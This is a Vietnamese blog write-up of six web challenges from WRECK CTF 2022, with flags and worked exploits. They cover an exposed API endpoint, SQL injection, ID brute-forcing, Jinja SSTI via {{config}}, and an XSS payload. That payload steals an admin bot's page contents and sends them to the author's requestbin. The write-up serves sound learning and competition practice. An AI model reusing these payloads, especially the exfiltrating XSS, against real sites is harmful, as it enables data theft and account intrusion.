Shang
Blog 👨‍💻
  • 🌸Introduction
  • 💻WEB SECURITY
    • Research Vulnerability
      • 📲Server-side topics
        • 🔏API Testing
        • 🔏Race conditions
        • 🔏XML external entity (XXE) injection
        • 🔏Server-side request forgery (SSRF)
        • 🔏File upload vulnerabilities
        • 🔏Access control vulnerabilities and privilege escalation
        • 🔏Business logic vulnerabilities
        • 🔏OS Command injection
        • 🔏Directory traversal
        • 🔏Authentication vulnerabilities
        • 🔏SQL injection
      • 📱Client-side topics
        • 🔏DOM-based vulnerabilities
        • 🔏Cross-origin resource sharing (CORS)
        • 🔏WebSockets
        • 🔏Clickjacking (UI redressing)
        • 🔏Cross-site request forgery (CSRF)
        • 🔏Cross-site scripting(XSS)
      • 🌀Advanced topics
        • 🔐Web cache poisoning
        • 🔐HTTP request smuggling
        • 🔐Prototype pollution
        • 🔐Server-side template injection(SSTI)
        • 🔐Insucure deserialization
    • Learn Java Vulnerability
      • Intro & Setup
      • Java Reflection Part 1
      • Java Reflection Part 2
    • Research Documents
      • 🎯DNS Rebinding
      • 🍪Remote Code Execution - Insecure Deserialization
      • 🍪Remote Code Execution on Jinja - SSTI Lab
      • 🍪Exploit cross-site request forgery (CSRF) - Lab
      • 🍪Exploit a misconfigured CORS - Lab
      • 🍪Same Origin Policy (SOP) - Lab
  • 📝WRITE-UP CTF
    • CTF Competitions
      • 🔰[WolvCTF 2023] Writeup Web
      • 🔰[M☆CTF Training 2023] Writeup Web
      • 🔰[HackTM CTF 2023] Writeup Web
      • 🔰[Incognito 4.0 2023] Writeup Web
      • 🔰[LA CTF 2023] Re-writeup Web
      • 🔰[Dice CTF 2023] Writeup Web
      • 🔰[ByteBandits CTF 2023] Writeup Web
      • 🔰[Knight CTF 2023] Writeup Web
      • 🔰[Sekai CTF 2022] Writeup Web
      • 🔰[WRECK CTF 2022] Writeup Web
      • 🔰[Maple CTF 2022] Writeup Web
    • CTF WarGame
      • ✏️[Root me] Writeup Sever Side
      • ✏️Websec.fr
      • ✏️[Root me] Writeup XSS Challenge
    • [tsug0d]-MAWC
      • 💉TSULOTT
      • 💉IQTEST
      • 🧬TooManyCrypto
      • 🧬NumberMakeup
    • Pwnable.vn
Powered by GitBook
On this page
  • Mở đầu
  • Web/souce
  • Web/password-1
  • Web/password-2
  • Web/note-1
  • Web/blog
  • Web/note-2
  1. WRITE-UP CTF
  2. CTF Competitions

[WRECK CTF 2022] Writeup Web

Previous[Sekai CTF 2022] Writeup WebNext[Maple CTF 2022] Writeup Web

Last updated 2 years ago

Mở đầu

Giải này mình làm khi chỉ còn 3 tiếng nữa kết thúc nên khá tiếc 3 bài chưa kịp làm....Có taast cả 8 bài web mình solve được 5/8 và một bài làm được sau khi giải kết thúc. Dưới đây là write up của mình. À đây là toàn bộ source code mảng web:

Web/souce

Như tên bài và nó khá dễ, khi vào trang web nó sẽ như thế này....

Tiếp theo mình source code nó lên

Có ngay 1/3 flag khi này mình thấy hai file trên khá đáng nghi nhưng mình chắc flag sẽ nằm trong hai file style.css và script.js

flag{bd6a9e3f1690f7abb8445c0e}

Web/password-1

Khi nghĩ tới password mình nghĩ tới lỗ hổng sqli nhưng bài này có source nên chúng ta sẽ xem xét source

Ở đây chỉ có hai file, ở đây chúng ta sẽ xét file app.py

const hash = (
                  '8c59346d674a352c' +
                  'aa36c0cb808ec0dd' +
                  '28ba42144f760c12' +
                  '564663b610c9ce2d'
                );
                if (await sha256(input.value) === hash) {
                  const flag = await (await fetch('/api/output')).text();
                  document.querySelector('.content').textContent = flag;
                } else {
                  input.removeAttribute('style');
                  input.offsetWidth;
                  input.style.animation = 'shake 0.25s';

Ở đây biến hash chứa một chuỗi, đây là mã SHA256, một loại mã hóa một chiều, oke tiếp theo nếu giá trị nhập vào input trên được mã hóa sha256 bằng hash thì sẽ có flag, đơn giản là vậy....

Nhưng không... như trên mình đã nói mã hóa SHA256 là mã hóa một chiều nên điều này coi như không thể...Oke sau khi xem tiếp code mình nhận ra có lỗ hổng.

@server.get('/api/output', c_type='text/plain')
async def flag(request):
    del request
    return (200, FLAG)

Mình sẽ giải thích ở đây thì @server có thể trỏ tới hay gọi là get tới /api/output và xử lý ngay tới hàm flag và in ra flag.

flag{why_is_hashing_in_browser_so_hard}

Web/password-2

Bài này cũng có source nốt nên chúng ta lại phân tích code

app.post('/password', (req, res) => {
    const password = (req.body.password ?? '').toString()
    const result = db.prepare(
        `SELECT password FROM passwords WHERE password='${password}';`
    ).get()
    if (result) res.json({ success: true, flag: FLAG })
    else res.json({ success: false })
})

Nhìn vào đoạn code này sau khi password được nhập thì prepare sẽ xử lý đoạn query nhưng vấn đề ở đây là password được chèn vào query để so sánh khi đó có thể break out query trên với cú pháp như 'or'1'='1

flag{i_love_in_memory_sqlite}

Web/note-1

Bài này khá thú vị, khi vào trang web chúng ta thấy một một input để chúng ta ghi bất cứ thứ gì vào và note lại.....

Oke bây giờ vẫn cần thực hiện như một người bình thường thôi note lại và nó là private mà nên không ai có thể đọc được...

Chúng ta chú ý rằng trên url có một đoạn mã sau /view/ nhìn có vẻ là hex nhưng không chắc...

Oke xác định được rõ loại mã hóa và mình thử dùng một số khác mã hóa SHA256 thay thế cho đoạn mã trên và xuất hiện một note của người khác.

Oke mình xác định đây là lỗ hổng Access control vulnerabilities and privilege escalation(_Mình có viết bày này ở Research vul) khi đó chúng ta có thể xem được note của người khác mà không bị cản trở.

Ở đây mình dùng tool burp suite để quét. À trước khi quét thì có đoạn code của bài như sau.

Ở đây hằng số state được gán một Object có key là id và value là 0 sau đó ó mã hóa sha256, bỏ qua đoạn dưới thì bạn cứ hiểu đoan giản nó sẽ mã hóa 256 sau đó nó được +1 và được set vào note

Sau khi post note lên thì khi đó hằng số note sẽ check xem có nội dung không, nếu k có thì trả vễ chuỗi rỗng, có thì trả về chuỗi được nhập và vẫn add note vào id và trả về trang /view/id.

Oke được rồi bây giờ tới burp thì chúng ta dùng payload là số từ 0 tới 100 và payload process là mã hóa sha256. Và grep-extract là như này không thì sẽ filter kết quả sau khi quét xong...tùy!

Sau khi quét thì flag nằm ở id là 0, thì bài này khá đánh lừa chúng ta nếu chúng ta bỏ đi số 0 thì sẽ không thấy được flag.

flag{technically_a_vulnerability}

Web/blog

Oke bài này có source code mình sẽ check.

Ở đây chúng ta sẽ xét file blog.py

def postsuccess():
    quicktemplate = """
    {% extends 'base.html' %}
    {% block header %}
        <h1>{% block title %}Success!{% endblock %}</h1>
        <a class="action" href="{{ url_for('blog.index') }}">Back</a>
    {% endblock %}
    {% block content %}
        <p>Post \"""" + request.args.get('title') + """\" created successfully. </p>
    {% endblock %}
    """
    return render_template_string(quicktemplate)

Lỗ hổng SSTI xuất hiện ở đây - nhúng vào title và ta có thể đọc được secret-key.

app.config.from_mapping(
    SECRET_KEY=open("flaskr/protected/burdellsecrets.txt").read(),
)

Nhìn vào dòng code này chúng ta thấy rằng flag nằm ở config...

Exploit

Bây giờ chúng ta sẽ check phần titke của trang web

Chúng ta có thể thấy sau khi submit thì SSTI bị khai thác, như ở trên chúng ta đã biến flag ở nằm ở config và biến secret_key và payload lúc này là:

{{config}}

Oke thành công vậy chúng ta đã có flag: flag{I'm_not_real_:)}

Web/note-2

Oke bài này khá là thú vị, trong bài này có 2 link, nó vẫn là private note và có một link submit cho Admin bot => mình nghĩ tới XSS;

Vào link đầu và trang note, mình thử note "Shang" và source code nó ra và nhận ra rằng.../

Nhận ra rằng input đầu vào mình có thể break out đoạn js đó đi bằng cách ";alert(1)//

Oke vậy là khai thác thành công XSS, bây giờ chúng ta cần xây dựng payload để submit lên trang của mình và lấy được {id} được mã hóa sau /view của admin thì sẽ có flag...Nhắc lại trang này k có cookie nên cái cần lấy là id trên thanh url.

Oke sau một lúc research thì mình có đoạn đầu của payload như này: ";});

  • Mình giải thích đoạn đầu payload này xíu nhé

  • Các bạn có thể xem mình đã break out ra khỏi event khi click vào button(chú ý dấu ngoặc mình trỏ vào), khi đó mình viết một dòng code JS mới và chắc chắn rằng đoạn cuối payload của mình sẽ là: ;//";

  • Ở đây các bạn chỉ cần hiểu rằng // là cmt trong JS

Tiếp theo chúng ta sẽ xây dựng phần giữa payload, vì chúng ta cần lấy id của admin(Lỗ hổng XSS nhé) - trang này không hề có cookie. Vậy làm sao để lấy id của admin?

Chúng ta sẽ sử dụng document.body.innerHTML - nó dùng để load hay là in ra source code của trang, kiểu như này:

Để nó gọn lại chúng encodeURIComponent (nó sẽ encode gần hết trừ một vài ký tự đặc biệt) để mất khoảng trắng và biến nó thành một chuỗi để chúng ta dễ encode b64 hơn =>tóm lại để gọn nó đi.

.concat(btoa(encodeURIComponent(document.body.innerHTML)))

Ở đây mình dùng nối chuỗi .concat vì dấu + có thể bị filter đi...

Bây giờ đoạn payload hoàn chỉ sẽ là như này:

";}); 
window.addEventListener('load', () => 
{document.location="https://my_requestbin?id="
.concat(btoa(encodeURIComponent(document.body.innerHTML)));//";

Khi cái này được gửi đi và trang được load thì sự kiện trên sẽ thực thi đoạn mã trong, nó rõ ra là khi admin nhấn vào thì đoạn mã được tự load mà admin không cần phải ấn xem note private.

Ở đây mình dùng Burp collaborator client để thay cho server request, dùng burp suite để lấy link địa chỉ của trang khi mình submit payload kiểu như này:


https://notes-2.challs.wreckctf.com/view/e002f0f0415645f6a0e61d79b1eec6fa9cca8c444457bff60da2b96e1547211e

Đây là địa chỉ trang mình vừa submit có chứa đoạn payload trên, và gửi link này cho con bot của admin.

Đợi một lúc con bot admin sẽ trả về một đoạn base64 như sau:

Sau đó decode nó ra sẽ có được id của admin cần lấy flag.

Submit lên có ngay flag

Flag: flag{context_dependent_sanitization}

Cảm ơn mọi người đã đọc write up, trên đây là một số bài mình làm ra trong thời gian thi, mặc dù câu viết chưa được tốt nhưng mình đã cố gắng viết ra những gì mình biết. Mong các bạn thông cảm!!!

Khi mình check thì nó k ra một chuỗ gì cả thì mình dùng để check thì nó ra như này

crackstation
📝
🔰
LINK
Page cover image